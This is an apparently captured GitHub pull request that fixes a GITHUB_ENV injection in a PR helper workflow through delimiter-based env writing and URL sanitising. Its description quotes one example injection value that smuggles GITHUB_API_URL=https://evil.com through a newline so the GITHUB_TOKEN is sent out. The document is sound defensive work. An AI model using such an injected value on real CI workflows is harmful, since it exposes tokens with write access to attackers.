Skip to content

Fix GITHUB_ENV injection via crafted project.yaml main_repo#15285

Merged
vitaliset merged 2 commits intomasterfrom
pr-helper-env-injection
Apr 2, 2026
Merged

Fix GITHUB_ENV injection via crafted project.yaml main_repo#15285
vitaliset merged 2 commits intomasterfrom
pr-helper-env-injection

Conversation

@vitaliset
Copy link
Copy Markdown
Contributor

@vitaliset vitaliset commented Apr 2, 2026

An attacker can inject arbitrary env vars into the PR helper workflow by embedding newlines in main_repo (e.g. "https://repo\nGITHUB_API_URL=https://evil.com"). This exfiltrates GITHUB_TOKEN with pull-requests: write scope.

  • save_env(): switch to delimiter-based format (NAME<<UUID) structurally immune to injection
  • _sanitize_repo_url(): strip control chars + validate scheme via urlparse

New tests in pr_helper_test.py covering injection scenarios and URL format regression.

b/483022611

Use delimiter-based GITHUB_ENV format (NAME<<UUID) in save_env() to
prevent environment variable injection through newline characters.
Add _sanitize_repo_url() to validate and strip control characters
from project.yaml main_repo URLs before use.
@DavidKorczynski
Copy link
Copy Markdown
Collaborator

/gcbrun skip

Copy link
Copy Markdown

@ViniciustCosta ViniciustCosta left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks!

@vitaliset vitaliset merged commit ec12d23 into master Apr 2, 2026
19 checks passed
@vitaliset vitaliset deleted the pr-helper-env-injection branch April 2, 2026 14:22
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants